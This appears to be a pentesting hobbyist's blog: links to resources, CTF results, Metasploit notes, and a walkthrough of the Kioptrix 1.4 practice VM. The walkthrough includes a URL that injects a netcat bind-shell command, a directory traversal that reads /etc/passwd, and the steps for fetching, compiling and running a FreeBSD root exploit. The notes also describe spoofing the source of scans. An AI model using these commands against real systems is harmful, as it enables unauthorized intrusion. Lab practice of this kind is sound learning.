A few new resources for pentesting/OSCP/CTFs

Here are a few new resources I’ve run across in the last month or so. I’ve gone back to add these to some of my older posts, such as the Windows Privesc Resources, so hopefully you’ll find them, one way or another.

Windows-Privilege-Escalation-Guide
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

JSgen.py – bind and reverse shell JS code generator for SSJI in Node.js with filter bypass encodings
https://pentesterslife.blog/2018/06/28/jsgen/

So you want to be a security engineer?
https://medium.com/@niruragu/so-you-want-to-be-a-security-engineer-d8775976afb7

Local and Remote File Inclusion Cheat Sheet
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal

External XML Entity (XXE) Injection Payloads
https://gist.github.com/staaldraad/01415b990939494879b4

Enjoy!

Captured The Flag

Along with my friend eth3real (and some pitching in from our new friend Brian), we teamed up as DefCon828 and won the Capture the Flag contest at BSides Asheville today. The loot was some cool WiFi Pineapple gear.

Last month, Jess and I won 1st and 2nd place respectively at BlueRidgeCon. I do feel bad about missing out on the lectures, talks, and socialization at these awesome conferences, but I can’t stay away from the CTFs. It’s bad.

BSides Asheville – 2nd Place CTF

I attended BSides Asheville today, the “other” hacker conference for IT security folks. This was Asheville’s fourth such conference (they happen in cities all over the world), and it was my first chance to go to one.

I wasn’t disappointed. I ended up spending most of my time in the “Lockpick Village” and working on the Capture The Flag competition.

The Lockpick Village was a challenge, even for someone who used to be a professional locksmith. It turns out that working under the pressure of an 8-minute timer, with people surrounding you to jeer and cheer you on does not make it easy to operate.

I was able to get out of the handcuffs rather quickly (about 1 minute), and then I picked the first lock relatively soon therafter (2 minute mark). However, my crucial mistake was that I picked it in the wrong direction, so I had to start over, and it took me much longer.

By the time I made it to the second lock, I only had about 2 minutes left, and it proved to be too much for me to conquer. It didn’t help that I’m used to using rake picks on pin tumbler locks, and they didn’t have any for me to use.

I ventured into the Capture The Flag contest after that, where I was able to put into practice all of the penetration testing skills I’ve been working diligently on since January. The Penetration Testing with Kali Linux course I’m enrolled in helped too.

I was the first person to root a Windows 2008 server and gain enough points on other servers to get into the top-three.

This turned out to be a positive affirmation that my hard work has paid off, as I took home the Second Place prize, a brand new Raspberry Pi 3 with the Canakit add-ons.

Granted, the first place winner forfeited and the team ahead of me was three professionals working together. Still, I took 2nd place after all that, and it was my first CTF.

The BSides team and volunteers put on a great day of fun. I am already looking forward to next year’s conference.

Metasploit Tidbits

I’ve been working through Metasploit Unleashed in preparation for the PWK course and the ensuing OSCP exam. Looks like I’ll be signing up for that in early July. While you can’t use Metasploit on the OSCP exam, they do teach it in the PWK course itself, and it’s a very powerful tool anyway, so learning it now seemed like a good idea.

I’ve been taking a lot of notes in OneNote as I progress on all things OSCP, but I thought I’d share some of the handier Metasploit tricks that I might find myself using from day to day. Additionally, writing all this out and thinking about it as I do so helps me commit it to memory, so this blog post isn’t an entirely selfless effort 😉

Find Hosts on Your Network

The arp_sweep auxiliary module comes in handy to find hosts on your network. In the below example, you select the arp_sweep tool, show its options, then set the RHOSTS variable accordingly for you your network range.

Running the above will return some output that looks something like this:

If you want to be sneaky when you do this (and why would you need to be sneaky on your home network? 😉 ) you can spoof the source host (you) and the source MAC address so that it doesn’t look like you have been scanning anything. Typically, you might set this to appear to be coming from your router.

Scan a Host

Metasploit lets you scan hosts that you discover.

You can set THREADS (10) and CONCURRENCY (20) too, to help speed things up without getting too crazy.

You can even use nmap from within Metasploit, and store the results in the database, or import normal nmap results (saved as xml) into the Metasploit database. The advantage of doing this is that you can save your work and results in workspaces in Metasploit. Workspaces let you create projects and keep things organized, which is useful when working on many targets, or with a team.

I will provide some examples of this soon. Stay tuned. For now, here’s what looks like a great reference for this.

 

Kioptrix 1.4 (VM 5) Walkthrough

This evening I am finally catching up on write-ups of the Virtual Machine penetration testing (and subsequent pwnage) I have been working on. This is the second one I finished up and got ready to share, in case anyone finds it useful. The Kioptrix series of VMs are available on vulnhub.com, and you can download them to practice your hacking skills with at any time, for free.

Having already conquered the preceding 4 Kioptrix VMs, I started this one a while ago, but I hadn’t circled back to finish it. I figured it was time to complete the last of the Kioptrix boot2root challenges. This one was difficult!

Enumeration

netdiscover turned up 192.168.0.196 as the IP for this target VM.

On port 80, just a default Apache “It works!” message, and 8080 is a forbidden 403 message. Worth noting that for later.

nikto

Summary of Interesting finds:
OpenSSL exploit
Older Apache
Older PHP

Finding Directories

dirb

Turned up index.html (nothing new) and cgi-bin. Blah.

dirsearch

Tried various wordlists. Nothing turned up with this either.

mod_ssl vulnerability

Nikto did mention this vulnerability, so I took a deeper dive:

This is that same old OpenFuck vuln I ran into in Kioptrix 1.1. I was unable to get it to compile then, so I didn’t feel like wasting time on it now.

Source Code to a PHP app

Failing to ever look at the source code of the Apache “It Works!” default page, I kicked myself when I realized I hadn’t done that. In the source code was a handy comment:

<!–
<META HTTP-EQUIV=”refresh” CONTENT=”5;URL=pChart2.1.3/index.php”>
–>

Appending pChart2.1.3/index.php to the URL got me to some crappy PHP app:

http://192.168.0.196/pChart2.1.3/examples/index.php

The app looks like it would have a load of issues based on what it does and how it does it. An Exploit DB search reveals it does:

https://www.exploit-db.com/exploits/31173/

Directory Traversal sounds useful!

Using the exploit at Exploit DB, I found /etc/passwd:

Poking Around

I was unable to turn up anything useful in any of the /etc directory files I was able to look at. I started looking up the locations of things in freebsd, since they were likely different than most Linux distros I am used to.

That said, I thought that the Apache config file would be a good place to start, as it might illumincate additional info such as usernames, or locations of password files. I might also find out if anything else is hidden on the website.

According to this page https://www.freebsd.org/doc/handbook/network-apache.html the httpd.conf file is here:
/usr/local/etc/apache2x/httpd.conf

I had to figure out that the x in that path should be a 2, since this server is running Apache 2.2

So that worked:

So what was relevant in the httpd.conf file?

Listen 80
Listen 8080

I already knew 80 was listening, and 8080 was reported as open but returning a 403 when trying to visit it in a web browser.

DocumentRoot “/usr/local/www/apache22/data”

That’s where files are served from in Apache on freebsd, apparently.

This VirtualHost section looked interesting, as it explained the 403 errors I was getting when visiting the :8080 port
:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
DocumentRoot /usr/local/www/apache22/data2

<Directory “/usr/local/www/apache22/data2”>
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4_browser
</Directory>

So the :8080 virtual host is guarded by requiring a specific browser User-Agent string. Time to install User Agent Switcher add-on for Firefox. I prefer the one by Chris Pederick.

A Mozilla 4.0 browser is actually Internet Explorer 6, so I set my User Agent to be IE6, then I was able to get to the :8080 page:

Clicking that led me to yet another crappy PHP app!

Attacking the PHPTAX app

This app smelled like it was choc-full of fun exploits. A quick Google search revealed exactly that.

https://www.exploit-db.com/exploits/21665/

This will start a netcat reverse shell by injecting the command via the URL:

http://192.168.0.196/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

Trying to set up a netcat listener using various methods wasn’t working. I tried various ports and different things from the exploit-db entry (the other URL they mentioned), but had no luck.

Was there already an exploit in Metasploit?

That would be a “yes.” I thought doing it by hand would be more noble and educational, but alas, that proved to be untrue. Except that I learned I was down a rabbit hole. Off to metasploit I went…

That worked pretty well, and I found myself with a command shell.

Looks like I was the www user/group. I set out to escalate them privileges. Looking around for quite some time, I didn’t find anything too great. So I started with looking into OS/Kernel vulnerabilities.

uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64

FreeBSD 9.0 seemed pretty old. A couple of promising leads turned up when looking for exploits:

Privilege Escalation

So I had 2 exploits to work with, just needed a place I could write files. Turns out the original web directory I was in when I got the reverse shell was perfect:

/usr/local/www/apache22/data2/phptax

touch me
cat me

Next, I needed to get the exploit file over to the target machine. I wasn’t sure how to do this, so I Googled it. This helped: https://netsec.ws/?p=292. Or so I thought. I couldn’t get it transferred with netcat and I’m still not sure why.

More Googling led me to ‘fetch’ which is installed on the FreeBSD machine.

So I set up a quick web server to serve up the exploit file from my Kali box using Python. From the directory where the exploit file (26368.c) resides:

python -m SimpleHTTPServer 80

Then from the reverse shell on the target machine, fetch the file:

fetch http://192.168.0.147/26368.c

Compile that sucker:

gcc 26368.c

Then run it:

./a.out

ROOT!

And the flag is in /root/congrats.txt

You should read the congrats.txt file and look into what it says, if you made it this far. There are some opportunities to learn about what you just did in there!